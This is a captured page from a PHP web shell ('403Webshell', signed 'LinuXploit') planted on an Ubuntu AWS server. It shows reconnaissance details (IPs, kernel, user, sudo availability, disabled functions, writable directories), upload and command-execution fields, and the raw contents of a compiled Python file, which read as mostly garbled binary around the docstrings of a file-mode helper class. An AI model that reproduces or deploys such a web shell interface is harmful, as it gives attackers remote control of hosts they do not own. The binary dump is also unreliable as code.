403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.221
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/fs/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/fs/__pycache__/mode.cpython-312.pyc
�

��obL����dZddlmZmZddlZddlZddlmZejr
ddlm	Z	m
Z
mZgd�ZejGd�d	eje��Zd
�Zd�Zd�Zed
�fd�Zy)ziAbstract I/O mode container.

Mode strings are used in in `~fs.base.FS.open` and
`~fs.base.FS.openbin`.

�)�print_function�unicode_literalsN�)�Text)�	FrozenSet�Set�Union)�Mode�check_readable�check_writable�validate_openbin_modec���eZdZdZd�Zd�Zd�Zd�Zd�Zd�Z	e
d�fd	�Zd
�Ze
d��Ze
d��Ze
d
��Ze
d��Ze
d��Ze
d��Ze
d��Ze
d��Ze
d��Zy)r
a�An abstraction for I/O modes.

    A mode object provides properties that can be used to interrogate the
    `mode strings <https://docs.python.org/3/library/functions.html#open>`_
    used when opening files.

    Example:
        >>> mode = Mode('rb')
        >>> mode.reading
        True
        >>> mode.writing
        False
        >>> mode.binary
        True
        >>> mode.text
        False

    c�2�||_|j�y)z�Create a new `Mode` instance.

        Arguments:
            mode (str): A *mode* string, as used by `io.open`.

        Raises:
            ValueError: If the mode string is invalid.

        N)�_mode�validate)�self�modes  �)/usr/lib/python3/dist-packages/fs/mode.py�__init__z
Mode.__init__-s����
��
�
��c�8�dj|j�S)Nz
Mode({!r}))�formatr�rs r�__repr__z
Mode.__repr__;s���"�"�4�:�:�.�.rc��|jS)N)rrs r�__str__zMode.__str__?s���z�z�rc�B�t|t�sJ�||jvS)z+Check if a mode contains a given character.)�
isinstancerr)r�	characters  r�__contains__zMode.__contains__Cs#���)�T�*�*�*��D�J�J�&�&rc�r�tjr|jjdd�S|jS)z�Get a mode string for the current platform.

        Currently, this just removes the 'x' on PY2 because PY2 doesn't
        support exclusive mode.

        �x�w)�six�PY2r�replacers r�to_platformzMode.to_platformIs*��03�w�w�t�z�z�!�!�#�s�+�F�D�J�J�Frc�X�|j�jdd�}d|vr|S|dzS)zvGet a *binary* mode string for the current platform.

        This removes the 't' and adds a 'b' if needed.

        �t��b)r'r&)rrs  r�to_platform_binzMode.to_platform_binSs4��� � �"�*�*�3��3���u��u�5�%�#�+�5rzrwxtab+c���|j}|std��|j|�stdj|���|ddvrtd��d|vrd|vrtd��y	y	)
zpValidate the mode string.

        Raises:
            ValueError: if the mode contains invalid chars.

        �mode must not be empty�%mode '{}' contains invalid charactersr�rwxaz*mode must start with 'r', 'w', 'x', or 'a'r)r+z)mode can't be binary ('b') and text ('t')N)r�
ValueError�
issupersetr)r�_valid_charsrs   rrz
Mode.validate]sy���z�z����5�6�6��&�&�t�,��D�K�K�D�Q�R�R���7�&� ��I�J�J��$�;�3�$�;��H�I�I�'�;rc�B�|j�d|vrtd��y)z�Validate a mode for opening a binary file.

        Raises:
            ValueError: if the mode contains invalid chars.

        r)zmode must be binaryN)rr1rs r�validate_binzMode.validate_binos%��	
�
�
���$�;��2�3�3�rc�"�d|vxs
d|vxsd|vS)z/`bool`: `True` if the mode would create a file.�ar#r"�rs r�createzMode.create{s ���d�{�8�c�T�k�8�S�D�[�8rc��d|vxsd|vS)z+`bool`: `True` if the mode permits reading.�r�+r8rs r�readingzMode.reading�����d�{�)�c�T�k�)rc�.�d|vxsd|vxs
d|vxsd|vS)z+`bool`: `True` if the mode permits writing.r#r7r<r"r8rs r�writingzMode.writing�s)���d�{�G�c�T�k�G�S�D�[�G�C�4�K�Grc�
�d|vS)z-`bool`: `True` if the mode permits appending.r7r8rs r�	appendingzMode.appending�����d�{�rc�
�d|vS)z<`bool`: `True` if the mode permits both reading and writing.r<r8rs r�updatingz
Mode.updating�rCrc��d|vxsd|vS)z;`bool`: `True` if the mode would truncate an existing file.r#r"r8rs r�truncatez
Mode.truncate�r>rc�
�d|vS)z6`bool`: `True` if the mode require exclusive creation.r"r8rs r�	exclusivezMode.exclusive�rCrc�
�d|vS)z*`bool`: `True` if a mode specifies binary.r+r8rs r�binaryzMode.binary�rCrc��d|vxsd|vS)z(`bool`: `True` if a mode specifies text.r)r+r8rs r�textz	Mode.text�s���d�{�-�c��o�-rN)�__name__�
__module__�__qualname__�__doc__rrrr r'r,�	frozensetrr5�propertyr9r=r@rBrErGrIrKrMr8rrr
r
s����&�/��'�G�6�%.�i�$8�J�$
4��9��9�
�*��*�
�H��H�
����
����
�*��*�
����
����
�.��.rr
c�,�t|�jS)z�Check a mode string allows reading.

    Arguments:
        mode (str): A mode string, e.g. ``"rt"``

    Returns:
        bool: `True` if the mode allows reading.

    )r
r=�rs rrr������:���rc�,�t|�jS)z�Check a mode string allows writing.

    Arguments:
        mode (str): A mode string, e.g. ``"wt"``

    Returns:
        bool: `True` if the mode allows writing.

    )r
r@rUs rrr�rVrc��t|�y)z�Check ``mode`` parameter of `~fs.base.FS.open` is valid.

    Arguments:
        mode (str): Mode parameter.

    Raises:
        `ValueError` if mode is not valid.

    N)r
rUs r�validate_open_moderY�s��	��Jrzrwxab+c��d|vrtd��|std��|ddvrtd��|j|�stdj|���y)	z�Check ``mode`` parameter of `~fs.base.FS.openbin` is valid.

    Arguments:
        mode (str): Mode parameter.

    Raises:
        `ValueError` if mode is not valid.

    r)ztext mode not valid in openbinr.rr0z)mode must start with 'r', 'w', 'a' or 'x'r/N)r1r2r)rr3s  rr
r
�sh���d�{��9�:�:���1�2�2��A�w�f���D�E�E��"�"�4�(��@�G�G��M�N�N�)r)rQ�
__future__rr�typingr$�_typingr�
TYPE_CHECKINGrrr	�__all__�python_2_unicode_compatible�	Containerr
rrrYrRr
r8rr�<module>rbs~���8�
�
��	���,�,�P��� � �V.�6���D�!�V.�!�V.�r���.7�x�-@�Or

Youez - 2016 - github.com/yon3zu
LinuXploit